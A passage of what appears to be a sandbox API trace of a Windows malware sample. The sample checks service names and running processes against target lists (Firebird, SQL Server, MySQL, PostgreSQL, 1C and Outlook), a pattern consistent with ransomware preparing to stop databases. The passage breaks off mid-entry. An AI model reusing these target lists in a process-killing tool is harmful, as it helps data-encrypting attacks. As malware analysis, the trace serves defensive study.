lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0057.549] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0057.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0057.549] lstrlenW (lpString="CscService") returned 10 [0057.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0057.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0057.550] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0057.550] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0057.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0057.550] lstrlenW (lpString="DcomLaunch") returned 10 [0057.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0057.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0057.550] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0057.550] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0057.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0057.550] lstrlenW (lpString="Dhcp") returned 4 [0057.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0057.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0057.550] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0057.550] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0057.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0057.550] lstrlenW (lpString="Dnscache") returned 8 [0057.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0057.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0057.550] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0057.550] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0057.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0057.550] lstrlenW (lpString="DPS") returned 3 [0057.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0057.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0057.551] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0057.551] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0057.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0057.551] lstrlenW (lpString="eventlog") returned 8 [0057.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0057.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0057.551] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0057.551] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0057.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0057.551] lstrlenW (lpString="EventSystem") returned 11 [0057.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0057.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0057.551] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0057.551] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0057.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0057.551] lstrlenW (lpString="gpsvc") returned 5 [0057.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0057.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0057.551] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0057.551] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0057.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0057.551] lstrlenW (lpString="iphlpsvc") returned 8 [0057.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0057.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0057.552] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0057.552] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0057.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0057.552] lstrlenW (lpString="LanmanServer") returned 12 [0057.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0057.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0057.552] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0057.552] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0057.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0057.552] lstrlenW (lpString="LanmanWorkstation") returned 17 [0057.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0057.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0057.552] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0057.552] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0057.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0057.552] lstrlenW (lpString="lmhosts") returned 7 [0057.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0057.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0057.552] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0057.552] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0057.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0057.552] lstrlenW (lpString="MMCSS") returned 5 [0057.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0057.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0057.552] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0057.552] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0057.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0057.553] lstrlenW (lpString="MpsSvc") returned 6 [0057.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0057.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0057.553] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0057.553] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0057.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0057.553] lstrlenW (lpString="Netman") returned 6 [0057.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0057.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0057.553] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0057.553] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0057.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0057.553] lstrlenW (lpString="netprofm") returned 8 [0057.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0057.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0057.553] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0057.553] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0057.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0057.554] lstrlenW (lpString="NlaSvc") returned 6 [0057.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0057.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0057.554] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0057.554] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0057.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0057.554] lstrlenW (lpString="nsi") returned 3 [0057.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0057.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0057.554] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0057.554] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0057.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0057.554] lstrlenW (lpString="PcaSvc") returned 6 [0057.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0057.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0057.554] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0057.554] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0057.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0057.554] lstrlenW (lpString="PlugPlay") returned 8 [0057.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0057.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0057.554] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0057.554] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0057.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0057.554] lstrlenW (lpString="Power") returned 5 [0057.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0057.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0057.555] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0057.555] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0057.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0057.555] lstrlenW (lpString="ProfSvc") returned 7 [0057.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0057.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0057.555] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0057.555] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0057.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0057.555] lstrlenW (lpString="RpcEptMapper") returned 12 [0057.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0057.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0057.555] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0057.555] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0057.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0057.555] lstrlenW (lpString="RpcSs") returned 5 [0057.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0057.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0057.555] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0057.555] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0057.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0057.555] lstrlenW (lpString="SamSs") returned 5 [0057.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0057.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0057.556] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0057.556] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0057.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0057.556] lstrlenW (lpString="Schedule") returned 8 [0057.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0057.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0057.556] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0057.556] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0057.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0057.556] lstrlenW (lpString="SENS") returned 4 [0057.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0057.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0057.556] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0057.556] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0057.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0057.556] lstrlenW (lpString="ShellHWDetection") returned 16 [0057.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0057.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0057.556] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0057.556] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0057.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0057.556] lstrlenW (lpString="Spooler") returned 7 [0057.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0057.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0057.557] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0057.557] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0057.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0057.557] lstrlenW (lpString="SysMain") returned 7 [0057.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0057.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0057.557] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0057.557] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0057.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0057.557] lstrlenW (lpString="Themes") returned 6 [0057.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0057.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0057.557] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0057.557] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0057.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0057.557] lstrlenW (lpString="TrkWks") returned 6 [0057.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0057.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0057.557] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0057.557] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0057.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0057.557] lstrlenW (lpString="UxSms") returned 5 [0057.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0057.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0057.557] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0057.557] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0057.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0057.558] lstrlenW (lpString="WdiServiceHost") returned 14 [0057.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0057.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0057.558] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0057.558] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0057.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0057.558] lstrlenW (lpString="WdiSystemHost") returned 13 [0057.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0057.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0057.558] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0057.558] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0057.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0057.558] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0057.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0057.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0057.558] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0057.558] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0057.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0057.558] lstrlenW (lpString="Winmgmt") returned 7 [0057.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0057.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0057.558] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0057.558] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0057.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0057.558] lstrlenW (lpString="WPDBusEnum") returned 10 [0057.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0057.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0057.559] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0057.559] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0057.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0057.559] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4e91e8 | out: hHeap=0x4b0000) returned 1 [0057.559] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0057.571] Process32FirstW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0057.571] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0057.571] lstrlenW (lpString="System") returned 6 [0057.572] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0057.572] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0057.572] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0057.572] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0057.572] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0057.572] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0057.572] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0057.572] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0057.572] lstrlenW (lpString="smss.exe") returned 8 [0057.572] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0057.572] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0057.572] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0057.572] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0057.572] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0057.572] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0057.572] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0057.572] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0057.573] lstrlenW (lpString="csrss.exe") returned 9 [0057.573] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0057.573] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0057.573] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0057.573] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0057.573] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0057.573] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0057.573] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0057.573] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0057.574] lstrlenW (lpString="wininit.exe") returned 11 [0057.574] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0057.574] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0057.574] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0057.574] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0057.574] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0057.574] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0057.574] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0057.574] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0057.574] lstrlenW (lpString="csrss.exe") returned 9 [0057.574] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0057.574] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0057.574] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0057.574] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0057.574] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0057.574] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0057.575] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0057.575] lstrlenW (lpString="winlogon.exe") returned 12 [0057.575] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0057.575] lstrlenW (lpString="services.exe") returned 12 [0057.576] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0057.576] lstrlenW (lpString="lsass.exe") returned 9 [0057.576] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0057.577] lstrlenW (lpString="lsm.exe") returned 7 [0057.577] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.577] lstrlenW (lpString="svchost.exe") returned 11 [0057.577] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.577] lstrlenW (lpString="svchost.exe") returned 11 [0057.578] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.578] lstrlenW (lpString="svchost.exe") returned 11 [0057.578] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.578] lstrlenW (lpString="svchost.exe") returned 11 [0057.578] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.579] lstrlenW (lpString="svchost.exe") returned 11 [0057.579] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: 